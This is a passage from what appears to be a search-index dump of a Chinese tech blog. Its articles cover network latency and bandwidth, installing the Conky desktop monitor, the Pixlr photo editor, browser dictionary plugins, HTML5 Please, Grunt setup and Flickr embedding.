36.023 ms 46.580 ms 55.882 ms 3 TNE1-3302.hinet.net (168.95.55.66) 65.940 ms 75.746 ms 85.351 ms 4 220-128-26-174.HINET-IP.hinet.net (220.128.26.174) 101.891 ms 111.215 ms 120.804 ms 5 TPDT-3011.hinet.net (220.128.3.2) 134.804 ms 143.425 ms 154.244 ms 6 TPDB-3407.hinet.net (220.128.1.237) 159.549 ms 39.179 ms 38.197 ms 7 211.22.41.237 (211.22.41.237) 48.753 ms 59.041 ms 69.141 ms 8 202-39-253-11.HINET-IP.hinet.net (202.39.253.11) 77.444 ms 88.009 ms 97.337 ms5 192.168.0.1 第一個節點：最近的無線路由器。 h254.s98.ts.hinet.net 第二個節點：中華電信 ADSL 機房的路由器，從這裡開始網路延遲很明顯了。 202-39-253-11.HINET-IP.hinet.net 最後一個節點：HiNet 網站。 最後一哩路的問題會跟你的 ISP 所使用的技術、網路拓撲結構有關係，甚至跟你在什麼時間上網也會有關，以一般的使用者而言，如果你想要讓上網的速度可以更快，選擇網路延遲較低的 ISP 是一個值得一試的方法。\n對於大部份的網站而言，效能的瓶頸通常都會發生在網路的延遲而不是頻寬上，至於為什麼是這樣你必須先了解 TCP 與 HTTP 的運作流程，我們在後面的文章將會有詳細的解說。\n骨幹網路頻寬（Bandwidth） 在一般的網路骨幹上的網路流量都非常大，因此目前大部分網路骨幹都是使用光纖的方式在傳輸資料。\n光纖比頭髮還要再細一點，其運作的原理有點像光的「導管」，可以將光線由發送端導引至接收端，而一般傳統金屬的電纜線比起光纖來說，會有比較多的訊號遺失、雜訊干擾等問題，另外在長期的維護費用上也會比較高，所以一般來說網路封包在傳遞時，會在這兩種傳輸介質上傳遞，但是在長距離的傳輸時，通常都會使用光纖。\n光纖在網路的頻寬上也有明顯的優點，它可以藉著 wavelength-division multiplexing（WDM）技術讓一條光纖網路同時傳輸多個不同波長（頻道）的光線，所以一條光纖網路的頻寬會是單一頻道的資料傳輸速率再乘上其頻道的數目。\n在 2010 年初的時候，研究人員已經可以讓一條光纖同時傳輸 400 個不同的頻道，每個頻道的資料傳輸速率是 171 Gbit/s，也就是說一條光纖的傳輸速率可以超過 70Tbit/s！若是使用傳統金屬材質，則需要數千條的電纜線才能達到這樣的速度，也因為如此，所以現在長距離的網路資料傳輸都會使用光纖電纜的方式來佈線，每條光纖電纜中包含數條光纖（通常是 4 條），所以可以提供數百 Tbit/s 的傳輸速度。\n末端網路頻寬（Bandwidth） 網路末端的頻寬相對於網路骨幹而言非常小，而且會因為所使用的技術不同而有不一樣的網路頻寬，包含撥接網路、DSL、cable、各種無線網路技術、光纖到府與地方的路由器效能等都會有影響，而對於使用者而言，其可使用的網路頻寬會由頻寬最窄的部份來決定（請參考上面的「網路的延遲與頻寬示意圖」）。\nAkamai 這家公司經營一個全球性的 CDN 服務，在全球各地佈置了許多伺服器，並且每季提供依照他們自己伺服器上的觀測資料，免費提供世界各國寬頻網路的速度報告，下表是 2013 年第二季的報告中，亞太地區的數據。\n全球平均的網路頻寬是 3.3 Mbps，而台灣則是 5.5 Mbps，雖然比平均高，但是跟臨近的國家相比算是有點低，新加坡（Singapore）有 6.5 Mbps、香港（Hong Kong）有 10.8，日本（Japan）與南韓（South Korea）更達到 12 與 13.3 Mbps。\n如果以全球的排名來看，南韓目前的上網頻寬是最大的，接下來是日本、瑞士（Switzerland）、香港與拉脫維亞（Latvia）。\n這裡我們所討論到的數據都沒有包含手持裝置的部分，通常手持裝置的網路速度都會比一般電腦慢，而且品質相對也比較不穩定。\n附帶一提，一般在網路上收看高畫質（HD）的影片時，通常依照不同的 codec 與解析度，大概會需要 2 到 10 Mbps 的網路頻寬，所以依照這裡的數據來看，一般的使用者應該都可以正常收看低解析度的影片，但是這樣也會占去他大部份的頻寬，而如果一個家中有好幾台電腦同時要看這樣的影片，就會有些問題了。\n對於一般的使用者來說，找出網路頻寬的瓶頸所在是一個很重要、但也很難處理的問題，而這個時候就可以使用一些網路速度偵測工具來幫助你測量目前的網路頻寬，例如 Hinet 的連線速路測試或 speedtest.net：\n使用這些工具你就可以測量出自己網路的實際網路頻寬，看看有沒有符合 ISP 當初所宣稱的速度。\n然而有了令人滿意的網路頻寬之後，也不能保證網路品質的穩定度，有時候因為網路塞車、設備損壞、或是遭受網路攻擊等事件，都會影響網路的頻寬與延遲，而這個現象是現在的網路技術難以避免的問題，而如何預測、管理或因應這些情況的變化本收也很複雜。\n高網路頻寬與低網路延遲 隨著高畫質網路影片的普及，網路頻寬的需求也不斷增加，目前所有網路上傳輸的資料中，有超過一半都是屬於影片的資料，在這樣的情況下，可以使用幾個方案來處理，首先可以增加光纖電纜中的光纖數量，或是改善 WDM 技術，讓資料的傳輸量可以增加。\n在網路延遲的改善上，又是另外一個問題，目前是以材料科學的方式，嘗試改善光纖的折射率，而依據目前的狀況來估計，未來大概頂多只能再改善 30% 左右，最終都會碰到光速這個物理極限。另外改善路由器自己的效能也是一個辦法。\n而目前在地球上兩地的網路傳輸路徑通常都不是直線，如果可以多拉一些電纜線，讓訊號的傳遞距離縮短，也可以減低網路延遲，但是這個方式也很困難，因為一些各種地理上、政治上的因素，通常也不太可能在任意的路徑上佈線。\n因此若要改善應用程式的效能，我們必須精心設計自己的程式架構與所使用的通訊協定，對於網路的使用上做一些最佳化的動作，減少長距離的網路傳輸動作，讓資料儘量靠近使用者，另外透過快取（caching）的方式讓網路延遲可以隱藏在程式的背後，這些技巧我們在之後的文章還會再詳細說明。\n參考資料 High Performance Browser Networking ","permalink":"https://blog.gtwang.org/web-development/network-lantency-and-bandwidth/","summary":"\u003cp\u003e這裡介紹網路的延遲（Latency）與頻寬（Bandwidth）是什麼，以及它們對於我們的網路有什麼影響。\u003c/p\u003e\n\u003cp\u003e在過去幾年中，網路效能最佳化（web performance optimization，簡稱 WPO）這個產業快速成長，這個現象也顯示了網路速度對於使用者而言也越來越重要，如果一個網站可以提供比較快速的網路服務，除了改善使用者經驗之外，連同網站的流量與其附帶的效益也都會跟著增加。\u003c/p\u003e","title":"網路的延遲（Latency）與頻寬（Bandwidth）是什麼？"},{"content":"Conky 是一個適用於 Linux 桌面的系統監控軟體，有非常簡潔且漂亮的介面，可以讓你的 Linux 桌面看起來就好像動態的儀板表一樣。\n在 Linux 系統中有許多的系統監控工具，這類的工具可以讓你知道目前 CPU 與記憶體的使用率、網路上傳與下載的即時流量、硬碟的使用量等各式各樣的資訊，如果你時常需要觀察這類的數值，那麼老是要開啟這類的監控軟體會是一件很麻煩的事，而在系統狀態列上的監控小工具雖然可以隨時讓你看到最新的資訊，但是這樣的小工具又礙於版面限制，能夠顯示的資訊也很有限。\nConky 是一個整合在桌面上的系統監控程式，讓你的桌面隨時都顯示目前系統上即時的狀態，不需要再手動開啟額外的監控軟體，而且由於整個桌面畫面非常大，你可以透過設定再桌面上顯示任何自己想要看的資訊，同時兼具一般監控程式與系統狀態列小工具的優點。\n安裝 Conky 在一般的 Ubuntu 系列的 Linux 中，可以直接使用 apt 安裝 Conky，而 Conky 的套件有分為 conky-cli、conky-std 與 conky-all 三種，conky-cli 是沒有 XWindow 支援的版本，適用於伺服器，而 conky-std 是一般標準的版本，而 conky-all 則是最完整的版本，其中不同版本的差異在於編譯時所啟用的功能不同，若要查詢各個版本啟用哪些編譯參數，可以使用 apt-cache 指令來查詢，例如：\napt-cache show conky-all 這樣會顯示 conky-all 套件完整的各項資訊，其中 Description 的部份就有說明這個版本編譯所啟用的功能有哪些：\nDescription-en: highly configurable system monitor (all features enabled) Conky is a system monitor that can display just about anything, either on your root desktop or in its own window. Conky has many built-in objects, as well as the ability to execute external programs or scripts (either external or through built-in lua support). . This is a full conky with most compile options enabled: . X11, XDamage, XDBE, Xft, MPD, MOC, math, hddtemp, portmon, RSS, Weather, wireless, IBM, nvidia, eve-online, Imlib2, ALSA mixer, apcupsd, I/O stats, argb, Lua and the cairo and imlib2 lua bindings, Audacious, and XMMS2. 如果你發現這個版本多出來的功能你用不到，就可以改用標準版的 conky-std，如果搞不清楚的話，也可以直接裝 conky-all 就好了，以免之後某些功能不能使用。\n一般的情況下，如果直接安裝 conky 這個虛擬套件，預設會使用 conky-std 這個標準版本。這裡我們示範安裝最完整的 conky-all：\nsudo apt-get install conky-all 由於 Conky 這個工具發展到後來加入了很多額外的功能，除了基本的系統監控之外，還可以執行其他的程式或指令稿，將輸出顯示出來。在這裡我們也順便安裝一些常用的相關套件，之後可以將這些工具配合 Conky 一起使用。\ncurl：支援 HTTP、HTTPS 與 FTP 等傳輸協定的自動檔案擷取工具。 lm-sensors：可監控各項硬體資訊的工具，可以用來查看硬體的溫度、電壓與風扇轉速等。 hddtemp：專門監控硬碟溫度工具，可透過 Self-Monitoring Analysis and Reporting Technology（S.M.A.R.T.）取得硬碟的溫度資訊。 這些套件同樣使用 apt 就可以安裝了：\nsudo apt-get install curl lm-sensors hddtemp 使用 Conky Conky 最簡單的使用方式就是直接將 conky 放在背景執行：\nconky \u0026amp; 這樣就會依據 /etc/conky/conky.conf 的設定來執行 Conky。如果你想要更改 Conky 的顯示設定，可以在自己的 $HOME 目錄中新增一個 .conkyrc 設定檔，然後參考 Conky 的說明文件（variables 與 config file settings）進行設定。\n由於以句點開頭的檔案在 UNIX/Linux 中是屬於隱藏檔，所以在 .conkyrc 這個檔案建立之後，一般 Linux 桌面上的檔案管理程式並不會把它顯示出來，通常可以使用 Ctrl + h 來顯示這樣的檔案。\n由於 Conky 的設定檔可用的參數非常多，如果每個參數都要自己指定會非常麻煩，比較快的作法是將系統預設的設定檔複製一份過來，再進行修改：\ncp /etc/conky/conky.conf ~/.conkyrc 這樣修改起來就會比較輕鬆。\n使用網路上的 Conky 設定檔 如果不想要自己花時間修改，也可以從網路上下載一些已經修改好的 Conky 設定檔，由於 Conky 這個工具的使用者很多，所以在網路上通常很容易就可以搜尋到各式各樣的設定檔。\n通常這類型的設定檔都是經過精心設計的，除了提供 .conkyrc 檔之外，也會附上一張桌布，兩者配合之下才會比較好看，所以下載下來之後，除了把自己的 .conkyrc 檔置換掉之外，記得也要把桌布設定一下。\n以下是我個人感覺不錯的設定檔，給大家參考。\n若要找尋好看的 Conky 設定檔，除了使用 Google 搜尋之外，還可以從下面這幾個網站中搜尋：\ndeviantart gnome-look.org ","permalink":"https://blog.gtwang.org/linux/conky-system-monitor-for-linux-desktop/","summary":"\u003cp\u003e\u003ca href=\"https://conky.sourceforge.net/\"\u003eConky\u003c/a\u003e 是一個適用於 Linux 桌面的系統監控軟體，有非常簡潔且漂亮的介面，可以讓你的 Linux 桌面看起來就好像動態的儀板表一樣。\u003c/p\u003e\n\u003cp\u003e在 Linux 系統中有許多的系統監控工具，這類的工具可以讓你知道目前 CPU 與記憶體的使用率、網路上傳與下載的即時流量、硬碟的使用量等各式各樣的資訊，如果你時常需要觀察這類的數值，那麼老是要開啟這類的監控軟體會是一件很麻煩的事，而在系統狀態列上的監控小工具雖然可以隨時讓你看到最新的資訊，但是這樣的小工具又礙於版面限制，能夠顯示的資訊也很有限。\u003c/p\u003e","title":"Conky：Linux 桌面上簡潔又漂亮的系統監控軟體"},{"content":"Pixlr 是一個線上的繪圖軟體，讓你可以在網頁上直接進行圖片的編輯與特效的製作，而且功能非常齊全。\n近年來由於 Google 不斷的將各種軟體推向網路雲端化，像 Picasa 這類的相簿也都有提供簡單的修圖功能，但是如果要進行比較專業一點的圖片編輯動作，還是免不了要使用 Photoshop 或 Gimp 這類的專業軟體幫忙。\nPixlr 是一個功能非常強大的線上繪圖軟體，簡直可以說是 Gimp 的網頁版，現在如果是一般性的圖片編輯或是特效製作，大概都可以直接使用這個工具來處理，不需要再安裝 Photoshop 或 Gimp 這類的軟體了。\nPixlr 這個工具目前的功能已經有一些調整，本文的內容已經過時，需要再調整。\nPixlr Editor 圖片編輯工具 Pixlr 這個網站提供了兩項主要的服務，第一個就是 Pixlr 這個圖片編輯工具，使用者只要開啟這個網頁，就可以直接使用這個工具編輯圖片。\n這個 Pixlr 其實幾乎就是 Gimp 的翻版，如果你是 Gimp 的愛用者，應該會感覺很熟悉。\n中文字的輸入與編輯也沒有問題，下面這個是選擇楷書（Kai）字體的畫面。\n像我最常用的曲線、色階、亮度與對比、色相與飽和度等都有支援。\n對於圖層的支援也很充分，至少我常用的功能他都有。\n圖片編輯完成後，可以選擇直接下載，或是儲存在一些網路空間上，如 Facebook、Flickr 或 Picasa 等，而 Pixlr 本身似乎也有提供一個空間可以存放。\nPixlr Express 特效製作工具 Pixlr Express 是 Pixlr 所提供的第二個線上工具，同樣也是開啟這個工具的網頁就可以直接使用。\n使用方式很簡單，只要善用它所提供的特效功能選單，就可以輕鬆幫自己的圖片加上各式各樣的效果。\n選擇想要的特效功能之後，Pixlr Express 就會馬上進行特效處理，使用者可以在網頁上即時看到加入特效的結果。\n處理完成的圖片也可以直接下載，很方便。下面這張是實際測試的結果。\n","permalink":"https://blog.gtwang.org/useful-tools/pixlr-online-photo-editor/","summary":"\u003cp\u003e\u003ca href=\"https://pixlr.com/tw/editor/\"\u003ePixlr\u003c/a\u003e 是一個線上的繪圖軟體，讓你可以在網頁上直接進行圖片的編輯與特效的製作，而且功能非常齊全。\u003c/p\u003e\n\u003cp\u003e近年來由於 Google 不斷的將各種軟體推向網路雲端化，像 Picasa 這類的相簿也都有提供簡單的修圖功能，但是如果要進行比較專業一點的圖片編輯動作，還是免不了要使用 Photoshop 或 Gimp 這類的專業軟體幫忙。\u003c/p\u003e","title":"Pixlr 線上繪圖軟體：有完整的圖片編輯與特效製作等功能"},{"content":"這裡介紹如何在 Google Chrome 與 Firefox 兩種瀏覽器中使用翻譯外掛工具，讓看英文網頁或查單字更方便。\n如果你有在瀏覽英文網站的習慣，那麼你應該就會需要一些類似 Dr.eye 這類的翻譯軟體，在開放原始碼的軟體中，最常用見的就是 StarDict 這個翻譯軟體，而除了這些需要安裝在自己電腦的軟體之外，你也可以使用瀏覽器的外掛程式，不但免費而且使用起來更方便。\n以下我們介紹在 Google Chrome 與 Firefox 中如何安裝外掛的翻譯軟體。\nGoogle Chrome 在 Google Chrome 瀏覽器中可以安裝 Google Dictionary 這個擴充功能，這翻譯工具是由 Google 官方所提供的，所以這個工具與 Chrome 的環境整合的很好。\n瀏覽器：Google Chrome\n外掛名稱：Google Dictionary\n安裝網址：Google 線上應用程式商店\n安裝完成後在工具列中會出現一個字典的小圖示。\n使用前記得透過它的設定頁面，設定好自己所使用的語言，以及進行翻譯的時機，你可以選擇滑鼠點兩下或是選取時進行翻譯，也可以兩者都選。\n這個工具最基本的功能就是直接作為字典，線上查詢單字。\n有了這個工具，在看英文網頁時，可以直接用滑鼠選取想要查詢的單字，這樣就會自動顯示出該單字的翻譯了。\n除了查詢單字之外，也可以翻譯整句的英文，但翻的好不好又是另外一回事了。\n除了英文之外，這個 Google Dictionary 也還支援其他很多種的語言，常見的日文、法文、德文、韓文等都不是問題：\nFirefox Firefox 瀏覽器中其實有很多翻譯用的附加元件，而這裡我們介紹 Wiktionary and Google Translate 這個工具，它使用起來跟 Google Dictionary 有點類似，在與 Firefox 的整合上稍微遜色一些，不過至少堪用。\n瀏覽器：Firefox\n外掛名稱：Wiktionary and Google Translate\n使用前同樣記得先設定好語言與翻譯時機。\n在網頁查單字的部份，它同樣也可以使用滑鼠選取後，跳出自動查詢的小視窗。\n整句的英文也可以使用滑鼠選取後，自動進行翻譯。\n這個工具支援的語言非常多，一般常見的語言都有，一般使用者也不用煩惱這個問題。\n","permalink":"https://blog.gtwang.org/useful-tools/chrome-firefox-dictionary-plugin/","summary":"\u003cp\u003e這裡介紹如何在 Google Chrome 與 Firefox 兩種瀏覽器中使用翻譯外掛工具，讓看英文網頁或查單字更方便。\u003c/p\u003e\n\u003cp\u003e如果你有在瀏覽英文網站的習慣，那麼你應該就會需要一些類似 Dr.eye 這類的翻譯軟體，在開放原始碼的軟體中，最常用見的就是 StarDict 這個翻譯軟體，而除了這些需要安裝在自己電腦的軟體之外，你也可以使用瀏覽器的外掛程式，不但免費而且使用起來更方便。\u003c/p\u003e","title":"Chrome 與 Firefox 瀏覽器的翻譯外掛工具，讓看英文網頁與查單字更方便"},{"content":"HTML5 Please 整理了各種新的 HTML5 與 CSS 語法在各種瀏覽器上的相容性狀況，並提供使用上的建議。\n在開發網頁的應用程式時，開發者所撰寫的 HTML5 或 CSS 程式碼通常都要面對許多不同瀏覽器的相容性問題，而 HTML5 Please 是一個可以查詢各種 HTML5 與 CSS 的語法在各種瀏覽器中被支援的狀況，並且建議你是否應該使用，你可以依據哪一些瀏覽器支援哪一些語法來選擇要使用的語法。\n在這個網站上，他會針對一些比較新的 HTML5 與 CSS 語法提出使用建議：\n「use」：表示這個語法已經被廣泛支援，可以放心使用。 「use with fallback」：表示這個語法已經被最新的各種瀏覽器支援，使用上沒有太大問題，但是有些太舊的瀏覽器會有問題，使用一些備援機制（fallback）就可以解決，通常在它的建議說明中會告訴你怎麼做。 「use with polyfill」：跟「use with fallback」類似，但是當舊的瀏覽器不支援時，要使用 polyfill 的方式處理。 「caution」：表示這個語法在大部份的情況下可以使用，但是某些狀況會有問題。 「avoid」：表示該語法太新或是已經過時，許多瀏覽器可能不支援，不建議使用。 針對每一種語法，也有提供詳細的建議，告訴你如果真的要使用的話，應該注意哪些問題。\n","permalink":"https://blog.gtwang.org/web-development/html5please/","summary":"\u003cp\u003e\u003ca href=\"https://html5please.com/\"\u003eHTML5 Please\u003c/a\u003e 整理了各種新的 HTML5 與 CSS 語法在各種瀏覽器上的相容性狀況，並提供使用上的建議。\u003c/p\u003e\n\u003cp\u003e在開發網頁的應用程式時，開發者所撰寫的 HTML5 或 CSS 程式碼通常都要面對許多不同瀏覽器的相容性問題，而 HTML5 Please 是一個可以查詢各種 HTML5 與 CSS 的語法在各種瀏覽器中被支援的狀況，並且建議你是否應該使用，你可以依據哪一些瀏覽器支援哪一些語法來選擇要使用的語法。\u003c/p\u003e","title":"HTML5 Please：提供各種 HTML5 與 CSS 語法在瀏覽器相容性問題上的使用建議"},{"content":"Grunt 是一個以 Node.js 為基礎所開發的命令列工具，在經過適當的設定之後，它可以幫助程式開發者將一些重複性的工作自動化，減輕開發者與開發團隊的負擔。\nGrunt 可以處理的事情很多，例如精簡 CSS 程式或網頁的大小、編譯 CoffeeScript、unit test、linting 等，舉凡一般性的重複動作多半都可以使用這個工具來處理。\nGrunt 背後有一個很大的生態系統（ecosystem），包含了大量的 plugins，使用者可以藉由這些 plugins 將自己的工作自動化，而使用者也可以很容易的把自己開發的 plugin 上傳到 npm 上面分享給其他人使用，也因為這樣的分享機制，這個生態系統目前也持續在成長。\nGrunt 與 Makefile Grunt 的角色類似傳統上的 Makefile，但是它主要是用於一些網頁應用程式的開發，而根據 Grunt 作者 Ben Alman 的解釋，如果使用傳統的 Makefile 處理網頁應用程式開發問題，通常使用者必須自己安裝相關的開發程式（像 CoffeeScript 或 Mocha 等），如果是在 Windows 環境下，要安裝的東西可能更多，包含 make 本身與基本的 shell 環境等。\n而如果使用 Grunt 的話，你只需要安裝 grunt-cli 這個程式，然後使用 npm install 這樣的指令就可以自動安裝大部分開發所需的程式與環境，也幫你處理許多套件相依性的問題，簡化了開發前期準備工作的複雜度，而且由於 Grunt 是建立在 Node.js 架構之下，所以只要是 Node.js 有支援的平台，都可以直接套用這樣的方式，達到跨平台的效果，讓每個平台的操作方式都一模一樣。\nGrunt 除了將一般性的工作自動化之外，它還可以處理外部的 JSON 或 YAML 檔案動態提供的資料、檔案系統的監控（filesystem watching）或 livereload 等，因為它是特別針對網頁應用程式開發的需求所設計的，所以在這方面的使用上會比傳統的 Makefile 方便一些。\n當然 Grunt 做的這些事情若是硬要使用傳統的 Makefile 來做，應該也是可以做到的，只不過稍微麻煩一些。\n安裝 Node.js 由於 Grunt 建立在 Node.js 架構之下，所以在安裝 Grunt 之前要先把 Node.js 的環境安裝好。\n安裝 Grunt 的 Command Line Interface（CLI） 當 Node.js 的環境安裝好之後，接著再使用 npm 指令來安裝 Grunt 的命令列工具（CLI）：\nnpm install -g grunt-cli 因為這個 grunt 工具要安裝在系統的目錄中，所以如果是在 Mac OS X 或 Linux 等系統中，安裝時要使用 sudo 或是切換成 root 帳號來安裝。\n這裡要注意一點，安裝 Grunt CLI（grunt-cli）這個套件並不會安裝 Grunt task runner，Grunt CLI 做的事情只是負責執行 Gruntfile 所設定的 Grunt 版本而已，而這樣的機制可以讓一個系統中同時安裝多個 Grunt 版本。\nGrunt CLI 是如何運作的？ 每當 grunt 指令執行時，它會使用 Node.js 的 require() 尋找在本地的目錄中所安裝的 Grunt，而你也可以在任何專案的子目錄中執行 grunt。\n當找到本地目錄中所安裝的 Grunt 函式庫之後，CLI 就會將其載入，然後依照專案中 Gruntfile 的設定執行指定的工作流程。\n如果你想要完全了解整個流程，其實可以直接查看 grunt 指令的原始碼，它的程式碼內容其實不長。\n既有的 Grunt 專案 如果你已經有一個設定好 package.json 與 Gruntfile 的 Grunt 專案，那麼在 Grunt CLI 安裝好之後，接下來使用 Grunt task 就很輕鬆了：\n進入專案的根目錄（root directory）。 執行 npm install 自動安裝相依性的套件。 執行 grunt 指令呼叫本地目錄中的 Grunt 進行各項 task。 這些就是全部的動作，而安裝的 Grunt tasks 可以藉由 grunt --help 指令列出來，但是通常還是建議先閱讀專案的說明文件。\n新的 Grunt 專案 一般的 Grunt 專案中最重要的就是 package.json 與 Gruntfile 這兩個設定檔：\npackage.json：這個檔案是 npm 儲存一些中繼資料（metadata）的地方，你必須把 Grunt 與專案需要的 Grunt plugins 列在這個檔案中的 devDependencies。 Gruntfile：這個檔案會被命名為 Gruntfile.js 或是 Gruntfile.coffee，用來設定要載入的 Grunt plugins 與要執行的 task。 package.json package.json 這個檔案與 Gruntfile 一樣都是放在專案的根目錄底下，而且最好也納入專案的原始碼一起納入管理（committed），而在 package.json 所在的目錄中執行 npm install 可以自動處理相依性的問題，依照 package.json 中指定的相依性套件版本來安裝各個套件。\n若要在專案中建立 package.json 這個檔案，有幾種方式：\n大多數的 grunt-init 範本可以自動建立專案所需要的 package.json 檔案。 執行 npm init 這個指令可以產生基本的 package.json 檔案。 使用下面這個範例，參考 package.json 的使用規範，加入自己需要的設定。 以下是一個簡單的 package.json 範例：\n{ \u0026#34;name\u0026#34;: \u0026#34;my-project-name\u0026#34;, \u0026#34;version\u0026#34;: \u0026#34;0.1.0\u0026#34;, \u0026#34;devDependencies\u0026#34;: { \u0026#34;grunt\u0026#34;: \u0026#34;~0.4.2\u0026#34;, \u0026#34;grunt-contrib-jshint\u0026#34;: \u0026#34;~0.6.3\u0026#34;, \u0026#34;grunt-contrib-nodeunit\u0026#34;: \u0026#34;~0.2.0\u0026#34;, \u0026#34;grunt-contrib-uglify\u0026#34;: \u0026#34;~0.2.2\u0026#34; } } 安裝 Grunt 與 Grunt Plugins 要安裝 Grunt 與 Grunt Plugins 最簡單的方式就是使用 npm install \u0026lt;module\u0026gt; --save-dev 這個指令，這樣除了將 \u0026lt;module\u0026gt; 這個套件安裝在本地的目錄之外，也會自動以 tilde（~）的版本指定方式將該套件加入 devDependencies。\n舉例來說，下面這個指令就會在專案的目錄中安裝 Grunt，並且將其加入 devDependencies：\nnpm install grunt --save-dev 至於其他的 Grunt plugins 與 Node.js 模組也都一樣可以使用這樣的方式安裝，而安裝完之後記得要將更新後的 package.json 納入一起納入專案原始碼的管理（commit），不要把這個檔案漏掉了。\nGruntfile Gruntfile.js 與 Gruntfile.coffee 這兩個檔案是一般的 JavaScript 與 CoffeeScript 檔，也跟 package.json 一樣存放在專案的根目錄之中，並且也要跟專案原始碼一起管理。\n一個 Gruntfile 檔案通常包含下面幾個部份：\nwrapper 函數。 專案與 task 的設定。 載入 Grunt plugins 與 tasks。 自訂 tasks。 Gruntfile 範例 在下面這個範例中會把 package.json 中的專案中繼資料匯入 Grunt 的設定中，並且設定使用這些中繼資料與 grunt-contrib-uglify 這個 plugin 所提供的 uglify task 來處理程式碼最小化與加入 banner 註解的動作，當使用者執行 grunt 指令時，預設就會執行 uglify 這個 task。\nmodule.exports = function(grunt) { // 專案設定 grunt.initConfig({ pkg: grunt.file.readJSON(\u0026#39;package.json\u0026#39;), uglify: { options: { banner: \u0026#39;/*! \u0026lt;%= pkg.name %\u0026gt; \u0026lt;%= grunt.template.today(\u0026#34;yyyy-mm-dd\u0026#34;) %\u0026gt; */\\n\u0026#39; }, build: { src: \u0026#39;src/\u0026lt;%= pkg.name %\u0026gt;.js\u0026#39;, dest: \u0026#39;build/\u0026lt;%= pkg.name %\u0026gt;.min.js\u0026#39; } } }); // 載入可以提供 uglify task 的 plugin grunt.loadNpmTasks(\u0026#39;grunt-contrib-uglify\u0026#39;); // 預設的 task grunt.registerTask(\u0026#39;default\u0026#39;, [\u0026#39;uglify\u0026#39;]); }; 以下我們將這個 Gruntfile 分為幾個部份來解說。\nwrapper 函數 基本上每一個 Gruntfile（與 Grunt plugin）都會有一個這樣的 wrapper 函數，而所有的 Grunt 程式碼都會放在這個函數裡面。\nmodule.exports = function(grunt) { // 這裡放置 Grunt 相關的程式碼 }; 專案與 task 的設定 大部分的 Grunt task 都會使用 grunt.initConfig 這個函數來設定，設定的方式是將所有的設定資料包裝成一個物件，然後再傳入這個函數中。\n以這個例子來說，grunt.file.readJSON('package.json') 會將儲存在 package.json 中 JSON 格式的中繼資料匯入至 Grunt 的設定檔中，而在 Gruntfile 中還可以使用 \u0026lt;% %\u0026gt; 這種語法取用任何設定檔中的設定值，所以像檔案的路徑與檔案列表等都可以透過這樣的方式避免不必要的重複設定。\n在這個設定檔物件中，你也可以在不會發生變數名稱衝突的情況下，加入自己定義的資料，另外因為這個檔案本身是一個 JavaScript 檔案，所以你不見得一定要使用標準的 JSON 格式，一般的 JavaScript 程式碼也可以放在這裡執行，所以你也可以在這裡撰寫一些 JavaScript 程式產生你要的設定檔。\ngrunt-contrib-uglify 這個 plugin 的 uglify task 需要一個相同名稱的設定物件（大部分的 plugin 也都是這樣），而這個設定物件中在 options 部分用 banner 指定註解內容，而在 build 的部分則用 src 與 dest 指定原始碼與目的檔的位置。\n// 專案設定 grunt.initConfig({ pkg: grunt.file.readJSON(\u0026#39;package.json\u0026#39;), uglify: { options: { banner: \u0026#39;/*! \u0026lt;%= pkg.name %\u0026gt; \u0026lt;%= grunt.template.today(\u0026#34;yyyy-mm-dd\u0026#34;) %\u0026gt; */\\n\u0026#39; }, build: { src: \u0026#39;src/\u0026lt;%= pkg.name %\u0026gt;.js\u0026#39;, dest: \u0026#39;build/\u0026lt;%= pkg.name %\u0026gt;.min.js\u0026#39; } } }); 載入 Grunt plugins 與 tasks 一般專案常會使用的 tasks（例如 concatenation、minification 與 linting 等）在 grunt plugins 中都有提供，只要在 package.json 中設定好相依性，並且使用 npm install 這樣的指令安裝好之後，就可以在 Gruntfile 中使用這樣的設定方式啟用它了：\n// 載入可以提供 uglify task 的 plugin grunt.loadNpmTasks(\u0026#39;grunt-contrib-uglify\u0026#39;); 如果要查詢所有可用的 tasks，可以使用 grunt --help 這個指令。\n預設的 tasks 在 Gruntfile 中可以使用 grunt.registerTask() 這個函數設定預設要執行的 task（default），在這個例子中，我們將預設的 task 設定為 uglify，所以如果執行 grunt 指令而沒有加上任何參數的時候，它會執行這個預設的 task，而這個狀況就跟執行 grunt uglify 與 grunt default 相同。而在這個陣列中也可以加入多個預設的 tasks，讓 grunt 預設一次執行多個 tasks。\n// 預設的 task grunt.registerTask(\u0026#39;default\u0026#39;, [\u0026#39;uglify\u0026#39;]); 自定 tasks 如果你的專案所需要的 task 在 Grunt plugin 中沒有提供，你也可以在 Gruntfile 中加入自定的 task。\n下面這個 Gruntfile 是一個自定 task 的範例，這裡完全自行定義函數的方式來處理，沒有使用到 Grunt plugin 所提供的 task。\nmodule.exports = function(grunt) { // A very basic default task. grunt.registerTask(\u0026#39;default\u0026#39;, \u0026#39;Log some stuff.\u0026#39;, function() { grunt.log.write(\u0026#39;Logging some stuff...\u0026#39;).ok(); }); }; 如果你自行定義的函數比較複雜，也可以將它儲存成另外一個 .js 檔，把它跟 Gruntfile 分開，再使用 grunt.loadTasks() 載入，這樣會比較好管理。\n","permalink":"https://blog.gtwang.org/web-development/grunt-javascript-task-runner/","summary":"\u003cp\u003e\u003ca href=\"https://gruntjs.com/\"\u003eGrunt\u003c/a\u003e 是一個以 \u003ca href=\"https://nodejs.org/\"\u003eNode.js\u003c/a\u003e 為基礎所開發的命令列工具，在經過適當的設定之後，它可以幫助程式開發者將一些重複性的工作自動化，減輕開發者與開發團隊的負擔。\u003c/p\u003e\n\u003cp\u003eGrunt 可以處理的事情很多，例如精簡 CSS 程式或網頁的大小、編譯 \u003ca href=\"/programming/coffeescript-javascript/\"\u003eCoffeeScript\u003c/a\u003e、unit test、linting 等，舉凡一般性的重複動作多半都可以使用這個工具來處理。\u003c/p\u003e","title":"Grunt：自動化網頁應用程式開發流程的 Node.js 工具"},{"content":"Flickr 最近推出了內崁照片的功能，現在你可以直接把 Flickr 上的照片直接放進網頁中顯示了。\n現在如果你想要在一般的網站或部落格中顯示 Flickr 的照片，可以使用 Flickr 最新的照片內崁功能，將產生的 HTML 程式碼複製起來再貼在網頁上，就可以直接顯示 Flickr 的照片了。\n下面這個是 Flickr 貼在部落格中的效果，還有上一張、下一張與全螢幕的功能。\n由於 Flickr 上面的照片有分為公開或私有兩種，當然是這個內崁功能只能用於公開的照片，並且在內崁的畫面上也會顯示作者的姓名與照片的標題。\n","permalink":"https://blog.gtwang.org/web-development/flickr-now-lets-embed-photos-across-web/","summary":"\u003cp\u003e\u003ca href=\"https://www.flickr.com/\"\u003eFlickr\u003c/a\u003e 最近推出了\u003ca 